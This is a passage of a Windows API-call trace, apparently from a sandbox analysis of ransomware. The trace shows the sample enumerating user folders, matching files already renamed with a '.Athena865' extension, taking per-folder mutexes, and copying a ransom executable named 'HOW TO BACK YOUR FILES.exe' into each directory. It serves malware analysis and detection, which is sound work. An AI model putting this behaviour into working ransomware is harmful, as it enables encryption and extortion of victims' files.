documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.525] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc5deeae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5deeae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0100.525] lstrcmpiW (lpString1="Outlook Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.525] lstrcmpiW (lpString1="Outlook Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.525] lstrcpyW (in: lpString1=0x241e89e, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0100.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x53f540 [0100.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53b9a0 [0100.525] lstrcatW (in: lpString1="Outlook Files", lpString2="\\" | out: lpString1="Outlook Files\\") returned="Outlook Files\\" [0100.525] lstrcatW (in: lpString1="Outlook Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outlook Files\\HOW TO BACK YOUR FILES.exe") returned="Outlook Files\\HOW TO BACK YOUR FILES.exe" [0100.525] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\Outlook Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\outlook files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.526] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac6fae0, ftCreationTime.dwHighDateTime=0x1d4cf4b, ftLastAccessTime.dwLowDateTime=0x43d61eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0xc5e14c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x160c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sheawXy7l.xls.Athena865", cAlternateFileName="SHEAWX~1.ATH")) returned 1 [0100.526] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.526] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="sheawXy7l.xls.Athena865" | out: lpString1="sheawXy7l.xls.Athena865") returned="sheawXy7l.xls.Athena865" [0100.526] lstrlenW (lpString="sheawXy7l.xls.Athena865") returned 23 [0100.526] lstrlenW (lpString="Athena865") returned 9 [0100.526] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.526] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad02650, ftCreationTime.dwHighDateTime=0x1d53add, ftLastAccessTime.dwLowDateTime=0xc0406370, ftLastAccessTime.dwHighDateTime=0x1d4f1ef, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", cAlternateFileName="UUG-K9~1.ATH")) returned 1 [0100.526] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.526] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" | out: lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" [0100.526] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned 35 [0100.526] lstrlenW (lpString="Athena865") returned 9 [0100.526] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.526] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4db3cca0, ftCreationTime.dwHighDateTime=0x1d50c9f, ftLastAccessTime.dwLowDateTime=0xa9091080, ftLastAccessTime.dwHighDateTime=0x1d54735, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vofRB78_e8.docx.Athena865", cAlternateFileName="VOFRB7~1.ATH")) returned 1 [0100.526] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.526] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="vofRB78_e8.docx.Athena865" | out: lpString1="vofRB78_e8.docx.Athena865") returned="vofRB78_e8.docx.Athena865" [0100.526] lstrlenW (lpString="vofRB78_e8.docx.Athena865") returned 25 [0100.526] lstrlenW (lpString="Athena865") returned 9 [0100.526] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.526] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9e180, ftCreationTime.dwHighDateTime=0x1d52ae5, ftLastAccessTime.dwLowDateTime=0x91e8ada0, ftLastAccessTime.dwHighDateTime=0x1d52f72, ftLastWriteTime.dwLowDateTime=0xc5e60f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16bd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w5VIYDZ.xlsx.Athena865", cAlternateFileName="W5VIYD~1.ATH")) returned 1 [0100.526] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.526] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.526] lstrcpyW (in: lpString1=0x241e89e, lpString2="w5VIYDZ.xlsx.Athena865" | out: lpString1="w5VIYDZ.xlsx.Athena865") returned="w5VIYDZ.xlsx.Athena865" [0100.526] lstrlenW (lpString="w5VIYDZ.xlsx.Athena865") returned 22 [0100.527] lstrlenW (lpString="Athena865") returned 9 [0100.527] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.527] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeecd110, ftCreationTime.dwHighDateTime=0x1d500ac, ftLastAccessTime.dwLowDateTime=0xf5c532c0, ftLastAccessTime.dwHighDateTime=0x1d549fe, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB1Bcf.pptx.Athena865", cAlternateFileName="WB1BCF~1.ATH")) returned 1 [0100.527] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.527] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.527] lstrcpyW (in: lpString1=0x241e89e, lpString2="WB1Bcf.pptx.Athena865" | out: lpString1="WB1Bcf.pptx.Athena865") returned="WB1Bcf.pptx.Athena865" [0100.527] lstrlenW (lpString="WB1Bcf.pptx.Athena865") returned 21 [0100.527] lstrlenW (lpString="Athena865") returned 9 [0100.527] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.527] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6691d10, ftCreationTime.dwHighDateTime=0x1d575b2, ftLastAccessTime.dwLowDateTime=0x82317b80, ftLastAccessTime.dwHighDateTime=0x1d4eed6, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ycRhOOUrcEF.docx.Athena865", cAlternateFileName="YCRHOO~1.ATH")) returned 1 [0100.527] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.527] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.527] lstrcpyW (in: lpString1=0x241e89e, lpString2="ycRhOOUrcEF.docx.Athena865" | out: lpString1="ycRhOOUrcEF.docx.Athena865") returned="ycRhOOUrcEF.docx.Athena865" [0100.527] lstrlenW (lpString="ycRhOOUrcEF.docx.Athena865") returned 26 [0100.527] lstrlenW (lpString="Athena865") returned 9 [0100.527] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.527] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccb3a60, ftCreationTime.dwHighDateTime=0x1d4f71a, ftLastAccessTime.dwLowDateTime=0xade5a9b0, ftLastAccessTime.dwHighDateTime=0x1d54d11, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJi4YRS6U.xlsx.Athena865", cAlternateFileName="YJI4YR~1.ATH")) returned 1 [0100.527] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.527] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.527] lstrcpyW (in: lpString1=0x241e89e, lpString2="YJi4YRS6U.xlsx.Athena865" | out: lpString1="YJi4YRS6U.xlsx.Athena865") returned="YJi4YRS6U.xlsx.Athena865" [0100.527] lstrlenW (lpString="YJi4YRS6U.xlsx.Athena865") returned 24 [0100.527] lstrlenW (lpString="Athena865") returned 9 [0100.527] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.527] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 1 [0100.527] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0100.527] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0100.527] lstrcpyW (in: lpString1=0x241e89e, lpString2="ZFJCJlO5OR1.xlsx.Athena865" | out: lpString1="ZFJCJlO5OR1.xlsx.Athena865") returned="ZFJCJlO5OR1.xlsx.Athena865" [0100.527] lstrlenW (lpString="ZFJCJlO5OR1.xlsx.Athena865") returned 26 [0100.527] lstrlenW (lpString="Athena865") returned 9 [0100.528] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.528] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 0 [0100.528] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0100.528] ReleaseMutex (hMutex=0xec) returned 1 [0100.528] CloseHandle (hObject=0xec) returned 1 [0100.528] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0100.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516790 | out: hHeap=0x4f0000) returned 1 [0100.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50af08 | out: hHeap=0x4f0000) returned 1 [0100.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 37 [0100.528] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0B7BBDD31F4D8A075AA78FA9866A4E4E") returned 0xec [0100.528] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.528] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0100.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.529] GetLastError () returned 0x0 [0100.529] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.529] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.530] CloseHandle (hObject=0xf4) returned 1 [0100.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.530] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.530] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.530] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.531] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0100.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5167e8 | out: hHeap=0x4f0000) returned 1 [0100.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50af20 | out: hHeap=0x4f0000) returned 1 [0100.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 38 [0100.531] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\03F3BFD5E136E77604BB4F2D970387B2") returned 0xec [0100.531] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.531] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0100.531] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.532] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.532] GetLastError () returned 0x0 [0100.532] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541790 [0100.532] ReadFile (in: hFile=0xf4, lpBuffer=0x541790, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541790*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.533] CloseHandle (hObject=0xf4) returned 1 [0100.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541790 | out: hHeap=0x4f0000) returned 1 [0100.533] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.533] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc68a4de0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0100.533] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.533] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.534] lstrcpyW (in: lpString1=0x241e896, lpString2="-BE_3cSpj5VFil 1.png.Athena865" | out: lpString1="-BE_3cSpj5VFil 1.png.Athena865") returned="-BE_3cSpj5VFil 1.png.Athena865" [0100.534] lstrlenW (lpString="-BE_3cSpj5VFil 1.png.Athena865") returned 30 [0100.534] lstrlenW (lpString="Athena865") returned 9 [0100.534] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.534] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab575fe0, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x3a310d90, ftLastAccessTime.dwHighDateTime=0x1d4ceb6, ftLastWriteTime.dwLowDateTime=0xc64ecb80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x8140, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0DtmKOGs7JD.png.Athena865", cAlternateFileName="0DTMKO~1.ATH")) returned 1 [0100.534] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.534] lstrcmpiW (lpString1="0DtmKOGs7JD.png.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.534] lstrcpyW (in: lpString1=0x241e896, lpString2="0DtmKOGs7JD.png.Athena865" | out: lpString1="0DtmKOGs7JD.png.Athena865") returned="0DtmKOGs7JD.png.Athena865" [0100.534] lstrlenW (lpString="0DtmKOGs7JD.png.Athena865") returned 25 [0100.534] lstrlenW (lpString="Athena865") returned 9 [0100.534] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.534] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9215ec0, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0xc5536740, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xe8f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0tnAHeA3v9Mw-E.gif.Athena865", cAlternateFileName="0TNAHE~1.ATH")) returned 1 [0100.534] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.534] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.534] lstrcpyW (in: lpString1=0x241e896, lpString2="0tnAHeA3v9Mw-E.gif.Athena865" | out: lpString1="0tnAHeA3v9Mw-E.gif.Athena865") returned="0tnAHeA3v9Mw-E.gif.Athena865" [0100.534] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif.Athena865") returned 28 [0100.534] lstrlenW (lpString="Athena865") returned 9 [0100.534] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.534] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a1cd60, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0x4838df50, ftLastAccessTime.dwHighDateTime=0x1d4c9b4, ftLastWriteTime.dwLowDateTime=0xc6512ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Rn0J_l.bmp.Athena865", cAlternateFileName="6RN0J_~1.ATH")) returned 1 [0100.534] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.534] lstrcmpiW (lpString1="6Rn0J_l.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.534] lstrcpyW (in: lpString1=0x241e896, lpString2="6Rn0J_l.bmp.Athena865" | out: lpString1="6Rn0J_l.bmp.Athena865") returned="6Rn0J_l.bmp.Athena865" [0100.534] lstrlenW (lpString="6Rn0J_l.bmp.Athena865") returned 21 [0100.534] lstrlenW (lpString="Athena865") returned 9 [0100.534] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.534] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48f6c640, ftCreationTime.dwHighDateTime=0x1d4cb63, ftLastAccessTime.dwLowDateTime=0xcd95b810, ftLastAccessTime.dwHighDateTime=0x1d4cf33, ftLastWriteTime.dwLowDateTime=0xc6538e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11ff0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Ua28ahOOat.jpg.Athena865", cAlternateFileName="8UA28A~1.ATH")) returned 1 [0100.534] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.534] lstrcmpiW (lpString1="8Ua28ahOOat.jpg.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.535] lstrcpyW (in: lpString1=0x241e896, lpString2="8Ua28ahOOat.jpg.Athena865" | out: lpString1="8Ua28ahOOat.jpg.Athena865") returned="8Ua28ahOOat.jpg.Athena865" [0100.535] lstrlenW (lpString="8Ua28ahOOat.jpg.Athena865") returned 25 [0100.535] lstrlenW (lpString="Athena865") returned 9 [0100.535] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.535] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c136960, ftCreationTime.dwHighDateTime=0x1d4d285, ftLastAccessTime.dwLowDateTime=0x89d75d30, ftLastAccessTime.dwHighDateTime=0x1d4ca89, ftLastWriteTime.dwLowDateTime=0xc655efa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3cd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jKc4GuOLdb.gif.Athena865", cAlternateFileName="9JKC4G~1.ATH")) returned 1 [0100.535] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.535] lstrcmpiW (lpString1="9jKc4GuOLdb.gif.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.535] lstrcpyW (in: lpString1=0x241e896, lpString2="9jKc4GuOLdb.gif.Athena865" | out: lpString1="9jKc4GuOLdb.gif.Athena865") returned="9jKc4GuOLdb.gif.Athena865" [0100.535] lstrlenW (lpString="9jKc4GuOLdb.gif.Athena865") returned 25 [0100.535] lstrlenW (lpString="Athena865") returned 9 [0100.535] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0100.535] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3036ed30, ftCreationTime.dwHighDateTime=0x1d4c936, ftLastAccessTime.dwLowDateTime=0xd306db30, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xc6585100, ftLastWriteTime.dwHighDateTime=0x1d575b6, 